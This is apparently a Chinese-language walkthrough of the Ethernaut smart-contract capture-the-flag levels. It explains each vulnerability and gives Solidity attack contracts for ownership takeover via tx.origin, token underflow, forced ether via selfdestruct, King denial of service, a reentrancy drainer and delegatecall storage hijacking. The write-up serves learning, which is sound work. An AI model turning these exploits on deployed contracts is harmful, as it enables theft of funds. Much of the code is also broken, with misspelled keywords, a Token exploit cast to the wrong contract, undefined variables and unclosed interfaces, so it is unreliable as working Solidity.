Ethernaut

Fallback

要求是,成为这个合约的所有者,并使这个合约的钱为零

分析;
从这个合约中可以看到,要成为owner
1,我们的钱必须大于合约持有者的钱,但是最开始合约本身就有1000ether,这个时候就走contribute函数不行,因为我们没有那么多钱
2,此时发现receive,只要我们的钱和合约的钱大于0,就可以成为这个合约的持有者

方法:
1,在remix上不能部署这个合约,因为部署后,合约初始化,owner就是我们自己了

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

直接使用合约地址At Adress
2,调用contribute函数,转账1wei;
2,调用receive函数,转账1wei,就完成了,注意记得将钱收回来


Fal1out

要求是,成为这个合约的所有者

分析:
注意这个的solidity的版本是0.6,没有影响关系,只是构造函数的写法不一样,如:

//solidity 0.8
constructor foo(){

}
//solidity 0.6
function foo(){

}

看与owner相关的函数,再去分析构造的合约名字Fallout,仔细发现有个Fal1out的函数,它实际上是命名错误的,这个时候我们就可以调动这个函数,刚好成为合约的所有者

方法:直接部署不行,因为里面有其他的import,所以我们就外部调用这个合约,使用接口,另创建一个合约

pragma solidity ^0.8.0;

interface Fallout {
function owner() external view returns(address) //观察所有者的地址是否为我们
function Fal1out() external payable;
}

Coin Flip

要求是,连续猜对10次猜对硬币的结果

分析:就是要想办法调用flip()函数10次,让猜测的结果与side一致

方法:直接上攻击合约,在目标合约内,部署攻击合约,就是一样的调用目标合约的flip函数之后,得到的guess在进入一样的目标合约之中,这样我们的猜测值guess就与side一样了

contact Hack {
CoinFlip private immutable target;
FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor (address _target){
target = CoinFlip(_target);
}

function flip external {
bool guess = _guess();
require(target.flip(guess),"guess failed");//保证攻击合约中的guess与初始合约的side一样
}
// 复制初始合约的flip()函数
function _guess() view returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
return side;
}
}

Telephone

要求是,获得该合约的所有权

分析:代码还是挺短的,主要就是弄懂tx.origin是什么意思,tx.origin是发起交易的账户,msg.sender是当前直接调用这个合约的即时账户,只要这俩者不一样就成功了
详细解释:

  • A调用B合约
    • tx.origin=A
    • msg.sender=A
  • A调用B合约,B合约调用C合约
    • tx.origin=A
    • msg.sender=B

方法:直接调用Telephone合约,不能满足条件,所以我们要写一个攻击合约来调用Telephone合约

contract Hack {
constructor (address _target){
Telephone(_target).changeOwner(msg.sender);
}
}

_target接受Telephone的地址,我们部署Hack合约,msg.sender就是我们的地址


Token

要求是,我们有20个代币,需要让代币余额增加到20以上

分析:还是看solidity版本,0.6版本没有内置Safemath,所以就可以执行溢出或者下溢的操作

Safemath:在Solidity 中,SafeMath是一个常用的库,用于防止整数溢出和下溢的安全数学运算工具。由于Solidity的整数类型(如 uint 和int )是有限的,当进行加法、减法、乘法或除法运算时,如果操作结果超出了类型范围,就会导致溢出或下溢
如,0-1会导致下溢,就会生成最大的无符号整数,并且大于0

方法:调用攻击合约中,再调用transfer函数,给msg.sender转账1个代币,由于攻击合约没有代币,就会发生下溢

pragma solidity ^0.8.0;

interface Token {
function balanceOf(address _) public view returns (uint256)
function transfer(address _to, uint256 _value) public returns (bool)
}

contract Hack {
constructor(address _target){
Telephone(_target).transfer(msg.sender,1);
}
}

Delegation

要求是,获得这个合约的所有权

分析:理解delegatecall,就是调用pwm函数,通过触发fallback函数,然后进行委托用

方法:部署Delegate合约,但是不调用,我们是在delegation合约上调用pwn函数


Force

要求是,使这个合约的余额大于零

分析:代码还是很简单,就是一个空合约,什么函数也没有,就考虑到自毁合约的功能

自毁合约:自毁合约是一种智能合约,通常基于区块链技术,其设计初衷是在特定条件下自动执行某些预定的操作,最终将合约自身的功能或者存储的资产销毁。这种合约的设计可以确保在特定情况发生时,例如某个时间点到达、某个条件达成或者特定的事件发生,合约内部的资产或者代码可以被永久删除或者无法访问。

方法:使用通过selfdestructh功能删除一个合约,合约内所有的余额将被强制发送到另一个合约,就是写一个攻击合约自毁

contract Hack {
constructor (address payable _target) payable{
selfdestruct(_target);
}
}

部署攻击合约时记得发送1wei


Vault

要求是,解锁保险箱

分析:password是个私有变量,不能直接获取,但是它也是个状态变量,可以访问的,通过回到ethernaut网站,在控制台获得密码即可

方法:在控制台输入 await web3.eth.getStorageAt(contract.address,1), 获得密码


king

要求是,破坏游戏规则

分析:通过合约来看就是阻碍别人调用receive函数,拒接别人的转账,

方法:写一个攻击合约,不要有fallback,receive函数,防止新玩家转账,成为新国王

contract Hack {
constructor (address payable target) payable{
uint prize = King(target).prize();
(bool ok,)=target.call{value: prize}("");
require(ok,"call failed")
}
}

在执行攻击合约时,首先检查当前的奖金值,然后部署攻击合约时,发送该奖金值


Re-entrancy

要求是:窃取合约中的所有资金

分析:这是一个典型的重入攻击

重入攻击:重入攻击的典型示例是以太坊的智能合约中发生的情况。以太坊的智能合约是按照以太币(ETH)的传统交易方式执行的,合约可以调用其他合约或发送ETH到外部账户。如果一个合约在调用外部合约时先转移ETH给另一个合约,并且在接收ETH后再执行其他逻辑,那么这个外部合约可以在接收ETH后调用原合约,重新执行发送ETH的逻辑,导致重复的ETH转移,从而造成资金损失。
通过不断调用withdraw函数,窃取资金

方法: 写一个攻击合约

// SPDX-License-Identifier:   MIT
pragma solidity ^0.8.0;

interface IReentrance {
function donate(address) public payable;
function withdraw(uint256) public;
}
contract Hack {
IReetrance private immutable target;

constructor(address _target){
target = IReetrance(_target);
}

function attack() external payable {
target.donate{value: 1e18}(address(this));
target.withdraw(1e18);
require(address(target).balance == 0,"target balance >0");
selfdesctruct(paybale(msg.sender));
}

receive() external paybale {
uint prize = min(1e18,address(target).balance);
if(prize > 0){
target.withdraw(prize);
}
}

function min(uint x,uint y) private pure returns(uint) {
return x<=y ? x:y;
}
}

部署攻击合约,调用attack函数发送1ether,即可


Elevator

要求是,到达建筑物的顶楼

分析:第一次的building.isLastFloor(_floor)要为false,满足if的条件,第二次的building.isLastFloor(_floor)要为ture,使电梯到楼顶

方法: 就是在攻击合约中写isLastFloor函数,达到要求,

contract Hack {
Elevator private immutable target;
uint private count;

constructor (address _target){
target = Elevateor(_target);
}

function pwn() external {
target.goTo(1);
require(target.top(),"NOT TOP");
}

function isLastFloor(uint) external returns(bool){
count++;
return count > 1;
}
}

Privacy

要求是,解锁该合约

分析:就是将locked初始值ture,改为false,调用unlock函数

方法: 首先要知道每个私有状态可变的储存slot,如图:
![这是图片](C:\Users\ASUS\blog\source\09afcfa44c4d7ce14ff699e10fd1a22c.jpg slot)
再使用Web库来获取这个数据,然后截取为16字节,即为密钥,再调用unlock函数,将其作为参数传递即可


Naugth Coin

要求是,将代币余额变为零

分析:难点有个时间锁,在转移代币时,必须等待10年,所以就思考其他的方法,然后就是熟悉ERC20合约,目标合约importl了ERC20,后面的攻击合约也要使用,建议先熟悉ERC20合约再来解题,我这就直接上攻击合约

方法:

pragma solodity ^0.8.0;

interface INaughtCoin {
function player() external view returns(address);

interface IERC20 {
function balanceof(address account) external view returns (uint256);function approve(address spender, uint256 amount) external returns(bool);
function transferFrom(address sender,address recipient, uint256 amount)extlernal;

contract Hack {
//deploy
//coin.approve(hack,amount)
//pwn
function pwn(IERC20 coin) external {
address player = INaughtCoin(address(coin)).player;
uint bal = coin.balanceOf(player);
coin.transferFrom(player,address(this),bal);
}
}

Preservation

要求是,获得该合约的所有权

分析:委托调用,注意看函数签名,bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)")),当我们调用setFirstTime函数时,委托调用会执行setTime函数,此时timeZone1Library的地址将会更新,如果我们再次调用setFirstTime函数,又更新地址,这样就能成为owner

方法:还是写一个攻击合约,进行调用

contract Hack {
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint256 storedTime;

function attack(Preservation target) external {
target.setFistTime(uint256(uint160(address this)));
target.setFistTime(uint256(uint160(msg.sender)));
}

function setTime(uint _owner) external {
owner = address(uint160(_owner));
}
}

Recovery

要求是,恢复丢失的0.001以太币

分析:这是一个工厂合约,由于不知道代币的地址,无法找到丢失的以太币,所以我们的任务是找到这个代币合约的地址,然后进行自毁合约,有俩种方法找到代币合约的地址,一是通过区块链浏览器Etherscan,查询调用generate Token交易,找到代币合约地址,二是通过计算,在Ethereum Stack Exchange上可以查询计算方式

方法:采用计算地址的方法

pragma solidity ^0.8.0;

contract Dev{
function recover(address sender) external pure returns (address) {
address addr = address (uint160(uint256(keccak256(abi.encodePacked(bytes1(0xd6),bytes1(0x94),sender,bytes1(0x01))))));
return addr;
}
}

MagicNunmber

要求是,调用whatIsTheMeaningOfLife()函数,并且返回数字42,但是攻击合约不能超过10个合约

分析:如果直接调用

contract Hack{
function whatIsTheMeaningOfLife() external pure returns (uint){
return 42;
}
}

这个合约将超过10个合约码,不符合要求,这时就使用汇编编写一个智能合约,然后手动部署代码(本人还在学习汇编语言)


Denial

要求是,在所有者在调用withdraw函数时拒绝其提取资金

分析:这题大概思路很好懂,就是如何去实现拒绝转账这步要思考一下,又是要用到汇编语言,等我学习后再来补题解


Shop

要求是,以低于要价的价格从商店购买物品

分析:就是使状态变量isSold等于true,而且还要使价格低于100,目标合约已经给了一个接口,就是就是在调用这个接口的时候满足要求,第一次调用的时候,要使价格高于100,满足if的条件,第二次调用的时候price就设置低于100的价格即可

方法:

contract Hack{
Shop private immutable target;

constructor (address _target){
target = Shop(_target);
}

function pwn() external {
target.buy();
}
function price() external view returns (uint256){
//利用第一次返回isSold为ture来区分第几次调用
if(isSold)
return 99;
else
return 100;
}
}